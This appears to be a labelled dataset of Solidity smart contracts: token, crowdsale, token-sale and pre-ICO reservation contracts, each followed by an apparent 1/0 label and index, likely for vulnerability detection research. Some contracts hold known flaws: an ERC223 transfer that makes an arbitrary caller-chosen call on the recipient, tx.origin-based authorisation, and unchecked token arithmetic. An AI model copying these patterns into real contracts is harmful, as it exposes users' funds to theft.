event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transferFunction(address _sender, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_sender]);
balances[_sender] = balances[_sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return transferFunction(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC223TokenCompatible is BasicToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if( isContract(_to) ) {
_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
return transfer( _to, _value, _data, "tokenFallback(address,uint256,bytes)");
}
function isContract(address _addr) private view returns (bool is_contract) {
uint256 length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Startable is Ownable, Authorizable {
event Start();
bool public started = false;
modifier whenStarted() {
require( started || authorized[msg.sender] );
_;
}
function start() onlyOwner public {
started = true;
Start();
}
}
contract StartToken is Startable, ERC223TokenCompatible, StandardToken {
function transfer(address _to, uint256 _value) public whenStarted returns (bool) {
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value, bytes _data) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data, _custom_fallback);
}
function transferFrom(address _from, address _to, uint256 _value) public whenStarted returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenStarted returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenStarted returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenStarted returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract HumanStandardToken is StandardToken, StartToken {
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value);
require(_spender.call(bytes4(keccak256("receiveApproval(address,uint256,bytes)")), msg.sender, _value, _extraData));
return true;
}
}
contract BurnToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burnFunction(address _burner, uint256 _value) internal returns (bool) {
require(_value > 0);
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
return true;
}
function burn(uint256 _value) public returns(bool) {
return burnFunction(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]);
burnFunction(_from, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
}
contract OriginToken is Authorizable, BasicToken, BurnToken {
function originTransfer(address _to, uint256 _value) onlyAuthorized public returns (bool) {
return transferFunction(tx.origin, _to, _value);
}
function originBurn(uint256 _value) onlyAuthorized public returns(bool) {
return burnFunction(tx.origin, _value);
}
}
contract Token is ERC223TokenCompatible, StandardToken, StartToken, HumanStandardToken, BurnToken, OriginToken {
uint8 public decimals = 18;
string public name = "CryptoForecast";
string public symbol = "CFT";
uint256 public initialSupply;
function Token() public {
totalSupply = 25000000 * 10 ** uint(decimals);
initialSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
} | 1 | 2,256 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenSale is Ownable, CappedCrowdsale, FinalizableCrowdsale, Whitelist, Pausable {
bool public initialized;
uint[10] public rates;
uint[10] public times;
uint public noOfWaves;
address public wallet;
address public reserveWallet;
uint public minContribution;
uint public maxContribution;
function TokenSale(uint _openingTime, uint _endTime, uint _rate, uint _hardCap, ERC20 _token, address _reserveWallet, uint _minContribution, uint _maxContribution)
Crowdsale(_rate, _reserveWallet, _token)
CappedCrowdsale(_hardCap) TimedCrowdsale(_openingTime, _endTime) {
require(_token != address(0));
require(_reserveWallet !=address(0));
require(_maxContribution > 0);
require(_minContribution > 0);
reserveWallet = _reserveWallet;
minContribution = _minContribution;
maxContribution = _maxContribution;
}
function initRates(uint[] _rates, uint[] _times) external onlyOwner {
require(now < openingTime);
require(_rates.length == _times.length);
require(_rates.length > 0);
noOfWaves = _rates.length;
for(uint8 i=0;i<_rates.length;i++) {
rates[i] = _rates[i];
times[i] = _times[i];
}
initialized = true;
}
function getCurrentRate() public view returns (uint256) {
for(uint i=0;i<noOfWaves;i++) {
if(now <= times[i]) {
return rates[i];
}
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint rate = getCurrentRate();
return _weiAmount.mul(rate);
}
function setWallet(address _wallet) onlyOwner public {
wallet = _wallet;
}
function setReserveWallet(address _reserve) onlyOwner public {
require(_reserve != address(0));
reserveWallet = _reserve;
}
function setMinContribution(uint _min) onlyOwner public {
require(_min > 0);
minContribution = _min;
}
function setMaxContribution(uint _max) onlyOwner public {
require(_max > 0);
maxContribution = _max;
}
function finalization() internal {
require(wallet != address(0));
wallet.transfer(this.balance);
token.transfer(reserveWallet, token.balanceOf(this));
super.finalization();
}
function _forwardFunds() internal {
}
function withdrawFunds(uint value) onlyWhitelisted external {
require(this.balance >= value);
msg.sender.transfer(value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) whenNotPaused internal {
require(_weiAmount >= minContribution);
require(_weiAmount <= maxContribution);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,352 |
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HumanStandardToken is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
contract Disbursement {
address public owner;
address public receiver;
uint public disbursementPeriod;
uint public startDate;
uint public withdrawnTokens;
Token public token;
modifier isOwner() {
if (msg.sender != owner)
revert();
_;
}
modifier isReceiver() {
if (msg.sender != receiver)
revert();
_;
}
modifier isSetUp() {
if (address(token) == 0)
revert();
_;
}
function Disbursement(address _receiver, uint _disbursementPeriod, uint _startDate)
public
{
if (_receiver == 0 || _disbursementPeriod == 0)
revert();
owner = msg.sender;
receiver = _receiver;
disbursementPeriod = _disbursementPeriod;
startDate = _startDate;
if (startDate == 0)
startDate = now;
}
function setup(Token _token)
public
isOwner
{
if (address(token) != 0 || address(_token) == 0)
revert();
token = _token;
}
function withdraw(address _to, uint256 _value)
public
isReceiver
isSetUp
{
uint maxTokens = calcMaxWithdraw();
if (_value > maxTokens)
revert();
withdrawnTokens += _value;
token.transfer(_to, _value);
}
function calcMaxWithdraw()
public
constant
returns (uint)
{
uint maxTokens = (token.balanceOf(this) + withdrawnTokens) * (now - startDate) / disbursementPeriod;
if (withdrawnTokens >= maxTokens || startDate > now)
return 0;
return maxTokens - withdrawnTokens;
}
}
contract Sale {
event PurchasedTokens(address indexed purchaser, uint amount);
event TransferredPreBuyersReward(address indexed preBuyer, uint amount);
event TransferredTimelockedTokens(address beneficiary, address disburser, uint amount);
address public owner;
address public wallet;
HumanStandardToken public token;
uint public price;
uint public startBlock;
uint public freezeBlock;
uint public endBlock;
uint public totalPreBuyers;
uint public preBuyersDispensedTo = 0;
uint public totalTimelockedBeneficiaries;
uint public timeLockedBeneficiariesDisbursedTo = 0;
bool public emergencyFlag = false;
bool public preSaleTokensDisbursed = false;
bool public timelockedTokensDisbursed = false;
modifier saleStarted {
require(block.number >= startBlock);
_;
}
modifier saleEnded {
require(block.number > endBlock);
_;
}
modifier saleNotEnded {
require(block.number <= endBlock);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier notFrozen {
require(block.number < freezeBlock);
_;
}
modifier setupComplete {
assert(preSaleTokensDisbursed && timelockedTokensDisbursed);
_;
}
modifier notInEmergency {
assert(emergencyFlag == false);
_;
}
function Sale(
address _owner,
address _wallet,
uint256 _tokenSupply,
string _tokenName,
uint8 _tokenDecimals,
string _tokenSymbol,
uint _price,
uint _startBlock,
uint _freezeBlock,
uint _totalPreBuyers,
uint _totalTimelockedBeneficiaries,
uint _endBlock
) {
owner = _owner;
wallet = _wallet;
token = new HumanStandardToken(_tokenSupply, _tokenName, _tokenDecimals, _tokenSymbol);
price = _price;
startBlock = _startBlock;
freezeBlock = _freezeBlock;
totalPreBuyers = _totalPreBuyers;
totalTimelockedBeneficiaries = _totalTimelockedBeneficiaries;
endBlock = _endBlock;
token.transfer(this, token.totalSupply());
assert(token.balanceOf(this) == token.totalSupply());
assert(token.balanceOf(this) == _tokenSupply);
}
function distributePreBuyersRewards(
address[] _preBuyers,
uint[] _preBuyersTokens
)
public
onlyOwner
{
assert(!preSaleTokensDisbursed);
for(uint i = 0; i < _preBuyers.length; i++) {
token.transfer(_preBuyers[i], _preBuyersTokens[i]);
preBuyersDispensedTo += 1;
TransferredPreBuyersReward(_preBuyers[i], _preBuyersTokens[i]);
}
if(preBuyersDispensedTo == totalPreBuyers) {
preSaleTokensDisbursed = true;
}
}
function distributeTimelockedTokens(
address[] _beneficiaries,
uint[] _beneficiariesTokens,
uint[] _timelocks,
uint[] _periods
)
public
onlyOwner
{
assert(preSaleTokensDisbursed);
assert(!timelockedTokensDisbursed);
for(uint i = 0; i < _beneficiaries.length; i++) {
address beneficiary = _beneficiaries[i];
uint beneficiaryTokens = _beneficiariesTokens[i];
Disbursement disbursement = new Disbursement(
beneficiary,
_periods[i],
_timelocks[i]
);
disbursement.setup(token);
token.transfer(disbursement, beneficiaryTokens);
timeLockedBeneficiariesDisbursedTo += 1;
TransferredTimelockedTokens(beneficiary, disbursement, beneficiaryTokens);
}
if(timeLockedBeneficiariesDisbursedTo == totalTimelockedBeneficiaries) {
timelockedTokensDisbursed = true;
}
}
function purchaseTokens()
saleStarted
saleNotEnded
payable
setupComplete
notInEmergency
{
uint excessAmount = msg.value % price;
uint purchaseAmount = msg.value - excessAmount;
uint tokenPurchase = purchaseAmount / price;
require(tokenPurchase <= token.balanceOf(this));
if (excessAmount > 0) {
msg.sender.transfer(excessAmount);
}
wallet.transfer(purchaseAmount);
token.transfer(msg.sender, tokenPurchase);
PurchasedTokens(msg.sender, tokenPurchase);
}
function changeOwner(address _newOwner)
onlyOwner
{
require(_newOwner != 0);
owner = _newOwner;
}
function withdrawRemainder()
onlyOwner
saleEnded
{
uint remainder = token.balanceOf(this);
token.transfer(wallet, remainder);
}
function changePrice(uint _newPrice)
onlyOwner
notFrozen
{
require(_newPrice != 0);
price = _newPrice;
}
function changeWallet(address _wallet)
onlyOwner
notFrozen
{
require(_wallet != 0);
wallet = _wallet;
}
function changeStartBlock(uint _newBlock)
onlyOwner
notFrozen
{
require(_newBlock != 0);
freezeBlock = _newBlock - (startBlock - freezeBlock);
startBlock = _newBlock;
}
function changeEndBlock(uint _newBlock)
onlyOwner
notFrozen
{
require(_newBlock > startBlock);
endBlock = _newBlock;
}
function emergencyToggle()
onlyOwner
{
emergencyFlag = !emergencyFlag;
}
} | 1 | 2,144 |
pragma solidity ^0.4.19;
contract PreIcoContract {
function buyTokens (address _investor) public payable;
uint256 public startTime;
uint256 public endTime;
}
contract ReservationContract {
mapping(address => bool) public invested;
uint public MIN_INVESTMENT = 1 ether;
PreIcoContract public preIcoAddr;
uint public preIcoStart;
uint public preIcoEnd;
function ReservationContract(address _preIcoAddr) public {
require(_preIcoAddr != 0x0);
require(isContract(_preIcoAddr) == true);
preIcoAddr = PreIcoContract(_preIcoAddr);
preIcoStart = preIcoAddr.startTime();
preIcoEnd = preIcoAddr.endTime();
require(preIcoStart != 0 && preIcoEnd != 0 && now <= preIcoEnd);
}
function() public payable {
require(msg.value >= MIN_INVESTMENT);
require(now >= preIcoStart && now <= preIcoEnd);
require(isContract(msg.sender) == false);
if (invested[msg.sender] == false) {
invested[msg.sender] = true;
}
preIcoAddr.buyTokens.value(msg.value)(msg.sender);
}
function isContract(address addr) public constant returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 1 | 3,935 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "PalladiumTokenMagic";
string public constant TOKEN_SYMBOL = "PTMX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xdF15E9399B9F325D161c38F7f2aFd72C11a19500;
uint public constant START_TIME = 1533081600;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 982 |
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
